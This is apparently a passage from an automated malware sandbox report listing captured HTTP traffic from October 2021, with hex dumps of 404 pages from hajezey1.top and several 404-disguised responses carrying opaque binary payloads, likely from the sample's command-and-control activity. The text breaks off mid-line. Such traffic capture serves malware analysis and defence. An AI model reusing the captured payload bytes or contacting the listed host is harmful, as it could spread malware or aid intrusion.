6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:56 GMTContent-Type: text/html; charset=utf-8Content-Length: 7Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 03 00 00 00 1d 3d 5e Data Ascii: =^
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:57 GMTContent-Type: text/html; charset=utf-8Content-Length: 42Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 07 9b 01 c2 40 9c e2 0f b3 66 f5 26 0a 5b 22 f9 6a 00 7e c2 5d 31 0e Data Ascii: Uys/~(`:@f&["j~]1
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 18:30:00 GMTServer: Apache/2.4.29 (Ubuntu)Keep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 35 32 37 33 33 0d 0a b8 00 00 00 c7 1a b3 fa 05 54 a4 5f 28 1e c5 73 c8 bb 6f 2d ae 22 c0 a9 8f 89 bd 2a 1c 21 f8 64 eb 16 a1 85 cc be 11 ce 58 26 9a 05 1e 5c c6 c1 69 3a 30 5b 9b c4 28 c2 ef 63 ab b5 4a e8 89 6e 9c 3d f7 c6 fe 06 43 1d 42 b0 fa b9 17 9d bc 30 e1 7d b4 71 0c f3 55 ca a6 9d 45 22 ea 9d de 0a 6c 39 20 12 7c 4b 07 4c f2 97 87 24 3a c2 ff e2 61 c9 ff 82 3e 8d 64 f6 2c 24 84 19 bd fa 7b 18 4f ce fd ab 1c f3 bb 9d 70 2b 2b eb ec 0b b0 37 d1 d7 3d 24 bb 29 51 24 7c 4e e0 35 9d 11 e0 42 10 5e 4d 2f 68 41 22 93 01 8f 26 1e 4b e8 70 6a ed 03 43 fd b3 0a b8 09 cd 31 c3 31 00 76 26 05 00 99 e1 70 64 01 08 02 00 05 00 9c 03 00 00 8f 53 a0 cd 6b ff f3 42 ef be 5f a6 0b 12 1e 00 fa 2d 5f bc 60 48 43 c4 3f a0 d1 42 cb fe 22 d0 1e 94 d6 c5 1a 29 6e 08 cd c8 2d c7 4d 7e 61 df 49 1a 97 84 14 51 2c 4c e4 c5 d6 02 94 b8 c5 49 53 0d 5e 82 e6 83 ab 8e 62 c5 9d 46 0b a0 aa 3e c7 fd d6 bc a4 ad e8 3c 50 ba e0 3c fe e9 66 4d 4e a6 6b ea 3a 3d ce 29 2a 37 e9 6c 89 d6 f5 15 31 cc 37 72 61 7e 22 b0 24 77 36 7c 4e 6b 9a aa 32 ae ff ad 7d d1 69 71 5e 52 c5 cc 89 d6 bb fa 1e 30 d1 95 9d 4c 69 ee fe ef 04 01 d8 3e 1b 87 e4 46 c1 6e fb 21 19 c0 a0 dd 94 37 60 40 b8 71 82 cf 26 ba ba 93 8d d0 d2 c2 59 ae 5a 2b f1 dd f6 78 90 66 b1 4e ca f3 88 94 76 73 aa 67 95 39 13 f9 1a 7e db 59 b0 5a be ea a7 57 2c da 41 2f 3b 44 99 a6 d1 e3 ae 5d 44 1c 04 12 87 6b 36 97 f0 39 ba 17 30 82 22 5d 97 9c 25 f8 0f 01 a5 f3 47 51 4b c6 6c ab e9 ee 5b 16 36 f0 62 25 02 ed 05 a6 10 4e c2 e6 19 fe 62 4e c5 5b d6 25 26 c8 0b 8d ec 99 23 41 05 8c 38 bb 0c c3 e8 42 32 14 41 b7 83 9c af 9a 27 3e 5a 59 7c a3 5e ee 1c 9c 12 fc 53 8b e3 c9 3c 9d f9 b6 c4 e6 9f 86 54 45 f9 ea dc e7 d2 62 dd f4 b6 fc 61 49 d6 3d 2d fb 53 9e df 18 af 5e 30 3d 56 2a 0f 38 20 a4 0d c3 98 c2 87 1d fd 7b 76 27 90 ad 0d f8 1c 82 12 74 be 06 e5 be c0 91 3d 8d d9 76 35 3a 86 ce 8b 57 89 6b 9e 6b 94 4b fe 6e 7b 84 16 f5 b4 5c b4 8f df 2a 68 2b 33 43 0b 6e 60 35 e6 3b 93 c5 fd e6 62 80 69 e2 92 79 02 9e 47 77 90 92 90 52 4f cf 29 e7 8b 19 b7 16 d5 1a 92 65 37 c9 26 3c 17 27 bd 55 08 ce c3 07 7a 53 f1 6f 43 0a 86 a0 32 60 f8 0d f1 24 e9 e4 c0 fb cd ae cb cb 6c 00 9c ef 2f 87 07 95 d6 a2 32 a9 f4 6b d7 2c e8 2c 27 c2 b7 00 ef 75 ec d5 58 86 2a ad a4 97 43 9a 52 8f 28 e9 1b ce e1 d3 d0 78 92 a0 ab 1e e0 dd 3d cc e0 5a 14 90 1d 7d 10 44 b2 b1 04 a8 db 37 c3 a1 bb 3b 1c f8 3e 56 ed 73 dd 7d b0 6b 95 36 fd 00 c5 00 b0 6f 9b 2b 71 fb 79 82 a6 e1 23 c2 b9 8a a8 89 62 ba 2d 12 c6 52 d3 b1 97 b5 64 20 e9 05 e7 b4 dd e7 89 3a 3b a5 25 ec 86 96 39 8e 21 04 ab 93 4a ec 81 e7 55 81 50 94 e0 5b 5b 40 17 8f ac 1e 17 68 a5 e6 f4 09 11 8f 34 77 8f dc 57 87 c9 7d d9 e7 6b 23 6c 4e d0 db 94 61 ae f2 5c 36 c5 15 c9 a7 a3 39 4b 2b 05 81 e2 8b cf fa 08 90 e8 55 0c 8b 78 14 91 04 c2 44 ed b6 c6 17 7c 82 6c 40 c6 ec b6 91 3
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:02 GMTContent-Type: text/html; charset=utf-8Content-Length: 327Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 18:30:02 GMTServer: Apache/2.4.29 (Ubuntu)Keep-Alive: timeout=5, max=99Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 39 33 38 30 32 0d 0a 00 00 6e 47 17 86 3c 28 c2 36 40 7b b6 16 56 36 0c 45 49 50 b5 c5 ea fa 80 5d 3d 4d 94 01 9f 38 c5 e4 b8 b3 1b e4 69 14 ba 72 71 2e a2 b2 43 37 3a 71 f6 aa 4d af 80 0d c2 d6 60 e5 83 44 1d 49 98 ab 99 7a d3 1e 48 2e 96 0c 59 41 c8 0f 06 51 ea 33 08 e5 01 db b9 93 51 3b a1 fd f4 43 7f 32 3d 09 67 19 00 03 ae df 8e 36 20 d7 fa a7 5c ea c3 c5 0c 90 75 ff 67 5a b4 7c e9 9f 09 79 61 ab 85 ce 85 a5 24 d1 ee 12 d7 a8 78 27 4c 76 46 ea d6 2c 43 64 1b 67 c4 62 1c 74 29 44 86 43 af 6f a0 68 8a 59 6d 82 4a a7 cf 1f c6 a3 13 69 4a 24 b3 ea 27 63 13 57 70 50 68 6a 3e e0 2f 7a 70 79 23 e3 d8 2f 09 13 72 9b be 7c 42 bf 19 de 6c dc 13 55 70 53 0a 46 17 7c e7 ba 3f dc 9e 2e c9 81 e8 ce 05 4c c4 c1 52 3a 54 6b ad 87 f9 07 87 d6 41 c9 b0 26 1c 94 30 99 7f 5b 92 2a 93 5b af a8 98 7a bd 0b e2 a4 22 3e 1a 20 cc cc b6 ca 21 af ad f5 31 a1 a3 cf 37 1f 5a eb 3f 5c c5 74 59 90 8f f5 06 b6 0e cd 9a df a5 61 69 fd 70 12 70 df ce 22 db e0 ab ab b6 2e 08 8f ff dd 4c 76 20 e1 ff 38 5c 3f 0f 83 d0 20 38 ba 60 bd 59 22 09 79 53 40 98 e3 94 54 f0 2f 60 43 8c 47 f0 86 f8 fb 34 6c 1f f1 69 d5 92 4e 76 8c 96 bd 4a 16 e9 37 a2 55 6b 5f c7 ae 4a 88 54 d9 4e 3d b6 7b 93 fe 88 2c 93 7e 87 12 75 d7 9a db 05 a9 46 75 18 c7 e3 a1 b7 d9 17 81 5d 26 db 3a 35 9d f7 d5 69 4f 44 88 fe 40 0a 5c 69 ba e8 33 74 16 00 89 12 1e 0d 63 bb 9c d4 46 d1 64 3b df d5 af 2b 02 57 d3 db 53 3d a0 c3 96 8b 7d 64 17 9a f7 3e c2 56 75 1b e2 95 15 f7 bb 2e 64 35 e2 26 2c 74 a4 34 54 05 91 5f ef 6c 05 23 8f f5 4a b0 de 7f 0d 6a f3 d8 90 12 74 3c 8b 08 f5 a5 36 3d 07 4e c4 92 d6 ea 8c 11 7d 72 d7 6a ab c1 39 e2 23 13 96 c4 66 d1 30 80 06 10 b2 9c 78 c6 58 43 f6 e7 2a 92 72 08 aa 14 21 52 ff f3 53 5d b5 78 3d f1 24 a0 e9 37 7f 3b 60 ff f1 ee 71 c0 b6 4f 4d bb 75 4b 53 06 ac 67 90 ff 21 62 11 14 74 22 d5 a5 d5 d3 03 e8 e9 32 2c 0d 90 db 4f f4 47 d3 1c 4c 93 19 c0 0d 04 7d 76 88 52 8c 2a 01 6e fe ca 39 52 41 cc 35 5f 27 89 98 4c 28 48 94 14 10 02 37 e2 be 43 f0 8b 9a 47 8a 76 1e 5e 84 8e 8e 8b 0d 16 a1 95 87 04 7d 32 7d 42 02 42 39 ad d5 d3 3c 86 63 55 cd b7 fb 29 6d da 0a 1e d7 09 07 99 cb 23 5b c4 b5 b5 5f 7c a9 84 79 89 b1 39 ec 06 88 45 fa e6 58 a9 e6 e8 4f 67 2c 5e db 50 c7 95 e6 d8 99 0a e2 4c c7 2a 09 c5 ed fc c4 23 ef 28 ef 3e 1c 2b 48 06 30 c8 0b 4c 27 c7 7d e6 c2 6a fd 20 23 71 de a1 9f 39 b0 fc f8 06 04 cd 0b dd 30 d5 71 cf d6 a3 96 5c 41 be c0 52 50 0f fb 75 d2 7a b6 d7 5b d4 76 ed f6 4b a5 53 52 d2 c5 d4 d1 79 5e 67 ad 6d 11 b0 c0 db 31 a0 29 77 31 ac b2 03 07 1e 17 76 28 bc db 58 67 4b 5b 67 c2 3f d3 78 d9 f8 1f ba e2 50 11 3b ec 5f e0 3c c7 4b d4 50 b0 20 e1 1e 34 ef d3 2e ac 9c d8 f7 0d c2 23 af 38 15 06 1f 84 4c 7f 4f 6d 5b df 92 a0 c7 0b 80 51 a9 cd 6d e1 6c 1c 9d 89 05 4d 99 2e b4 58 13 86 89 b0 6e 2c 9c c3 75 44 f4 8b 85 52 2a a2 e4 2f a9 e7 5b 9a 1e bc 79
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 fd 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 b1 ba 89 c7 a8 25 9f ae 04 75 64 62 d8 e6 b8 a1 54 5e 1b 80 2b d8 55 a8 c7 ea 87 23 6d 16 be 61 f6 31 6d 17 41 3e da 16 a3 c9 32 6e a0 14 dc ac 2f 7b b0 2d 61 47 b0 7a 0d de 75 8f f9 9f 56 11 36 05 4a f4 e2 d7 c0 07 43 c8 48 09 d2 74 94 82 bf 6c 13 d9 39 03 d5 18 33 4f 62 3e 15 21 0b 5a f3 43 93 3a 1a 3e cf 00 8e ff 0e 43 d7 07 53 53 fa cb 1f 9e fd 09 51 2a ee 8c 8a 7b 7e 85 f6 ff 78 f3 56 db c4 0d 13 13 e3 0f e0 92 24 18 4f c5 03 71 ca a1 61 7e 9e f5 69 a9 19 17 7e 5d af 9a a0 44 c9 a0 c1 b9 dd 7a 08 90 4e 19 e0 2c 95 a9 18 7a f0 96 be 21 51 61 9a d4 3e 7c 8a 28 c8 c9 6b a1 d0 4a 9a 13 fd ec 9e aa 6b ac 87 3f bd 61 0d c0 5d bf 56 34 fd f8 a2 7a 31 6c 1a 7c 0a 8d 1b f9 e6 0e 10 eb 7e 71 eb 90 f0 1a 10 de 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 22 a6 0f 31 65 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 73 33 cd 46 99 48 15 ac af eb d9 55 3d af ba 68 92 de fe 9d 57 7c 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 33 44 77 29 f8 70 17 4b a8 d4 de 8e 82 11 e8 e4 1f 9e a0 90 4e a5 54 55 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 3e 54 ab 7e 08 0f 75 8f b7 af 57 a3 af 5b 85 1f d4 8c 69 91 9c 61 06 f1 2c 9a af 03 5b e5 1f e4 a6 7d 10 9f 10 b9 d9 b0 d9 07 99 ca e3 80 1e 00 18 50 6d 43 e4 56 89 8b e1 42 78 d7 9c 9e c3 e0 2b a5 b6 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a cf f6 6b 23 e3 a2 aa 45 63 80 e3 1c b1 65 f5 52 48 d4 3f 96 4d 8d e7 17 3f fe e7 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca c2 cf 25 6e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 18:30:02 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 402Keep-Alive: timeout=5, max=98Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 